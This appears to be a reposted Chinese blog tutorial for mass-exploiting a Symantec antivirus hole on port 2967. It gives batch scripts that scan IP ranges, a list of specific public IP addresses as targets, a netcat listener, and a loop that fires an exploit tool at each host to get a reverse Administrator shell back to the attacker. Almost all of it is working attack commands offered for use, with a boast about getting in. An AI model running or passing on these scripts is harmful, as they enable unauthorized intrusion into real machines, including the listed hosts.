需要準備的軟體工具:
s.exe symantec.exe nc.exe
1、首先編寫一個批處理檔案利用s.exe掃描遠端機器的2967端口。
檔案名為sao.bat,内容如下:
@echo Title 諾頓2967掃描工具,制作bye 高迪
color A
@set IPSTART=
@set IPEND=
@set XIANCHENG=5
@echo 在進行溢出之前,您必須進行掃描.
set /p IPSTART=請輸入起始位址:
set /p IPEND=請輸入結束位址:
set /p XIANCHENG=請輸入s.exe掃描的線程數(預設為5個):
echo 現在正在掃描,如果您要停止該程序請按Ctrl+C.
s.exe tcp %IPSTART% %IPEND% 2967 %XIANCHENG% /save
2、掃描結束後打開Result.txt将掃描到的ip位址複制在host.txt檔案内儲存,檔案格式如下(每行一個IP即可):
218.56.22.114
202.152.40.146
202.152.41.28
202.152.41.31
202.152.41.29
202.152.41.30
202.152.41.200
202.152.41.201
202.152.41.203
202.152.41.202
202.152.41.204
202.152.41.205
202.152.41.206
202.152.41.207
202.152.41.208
202.152.41.209
202.152.41.210
202.152.41.211
202.152.41.212
202.152.41.213
202.152.41.214
202.152.41.215
202.152.41.249
202.152.41.250
202.152.41.251
202.152.41.252
202.152.41.253
202.152.41.254
202.152.41.248
3、編寫nc2008.bat,内容如下:
@echo off
@start nc -vv -l -p 1234
4、編寫2967.bat,内容如下:
@set IP=
color B
echo 探測本機IP位址并指派給IP
for /f "tokens=15" %%i in ('ipconfig ^| find /i "ip address"') do set ip=%%i
@for /f %%i in (host.txt) do symantec -r %%i -l %IP% -d 1234
5、 好了,運作nc2008.bat,再運作2967.bat,觀察剛才打開的15個CMD視窗,如果有哪個視窗傳回C:\Documents and Settings\Administrator> 就OK了,輸入ipconfig 看看該機器IP位址是什麼,用ver檢視一下系統版本,後面的步驟我就不說了。嘿嘿。。。搞定。。。。。。。。。
不過現在絕大多數機器已經把這個漏洞都補上了,掃描可能要費很大功夫。
本文轉自gaodi2002 51CTO部落格,原文連結:http://blog.51cto.com/gaodi2002/1618193